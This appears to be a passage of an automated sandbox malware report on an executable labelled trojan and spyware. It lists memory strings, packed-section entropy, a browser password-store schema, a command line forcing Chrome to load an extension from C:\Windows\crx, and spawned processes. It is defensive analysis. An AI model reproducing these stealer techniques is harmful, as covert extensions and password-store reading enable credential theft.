Source: file.exe, 00000000.00000003.1483056249.00000000054B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464080241.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1462828670.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1465169974.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1448526678.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1482557142.0000000005547000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1452183366.000000000593D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1460708331.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1468219372.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453807391.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1468061873.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449637987.000000000593D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1455654824.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464522479.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1465718764.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1467427670.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454547344.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1459394557.0000000005935000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1455114004.00000000059FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1460235949.0000000005B0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1465456884.0000000005A63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1467584792.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450582659.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1451352650.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450789367.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463383704.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1455281312.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450901888.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1483305667.0000000000F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1456766796.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450153599.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1451935081.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1451480461.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454408081.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1456273079.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1465994858.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466976181.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1462124207.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461315699.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453676625.0000000005934000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1483435757.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454716145.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1460543441.0000000005A18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1452667545.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449772583.0000000005595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454267686.00000000059F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463893683.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449036004.000000000559B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449982973.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1457593655.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449482549.0000000005594000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1483335423.000000000549D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1451816894.0000000005935000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1459980045.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466428539.0000000005A55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1455894354.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453294170.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464693251.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454910879.0000000005935000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464923529.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1610300902.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1610821921.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1457458764.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1454065691.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1457814053.0000000005A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461922000.0000000005A3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1448919693.0000000005935000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1483230822.0000000000F01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453944263.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464368782.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1462298430.0000000005A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1455525863.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1467899517.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1452057237.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1448126662.0000000005732000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1467194051.0000000005A66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1451207453.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1448743299.0000000005594000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1450697417.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461020603.0000000005A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1449379640.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453051644.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1462460120.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466252717.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1457046809.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1452444107.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1457279346.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461160632.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1460859233.000000000593D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461611452.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1460384388.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1459012381.0000000005A13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461770989.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1461458011.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463551463.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1462652514.0000000005937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1458266917.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1467739518.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1453174183.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464226692.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1458710223.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466785853.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1456531572.0000000005934000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463743220.000000000593F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9991600895904437
Source: file.exe	Static PE information: Section: erewnnff ZLIB complexity 0.9946171134591868

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/64@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1286705872.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1302081762.00000000054AC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1301935492.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1287024580.00000000054AC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: rediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: file.exe	String found in binary or memory: n,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: file.exe	String found in binary or memory: ionTargetPrediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: file.exe	String found in binary or memory: Prediction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1
Source: file.exe	String found in binary or memory: diction,OptimizationHints --start-maximized --load-extension=C:\Windows\crx --single-argument %1

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1892,i,16486464527535265539,12465613375574579712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,4712510667556483600,4347713893843015663,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1892,i,16486464527535265539,12465613375574579712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,4712510667556483600,4347713893843015663,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
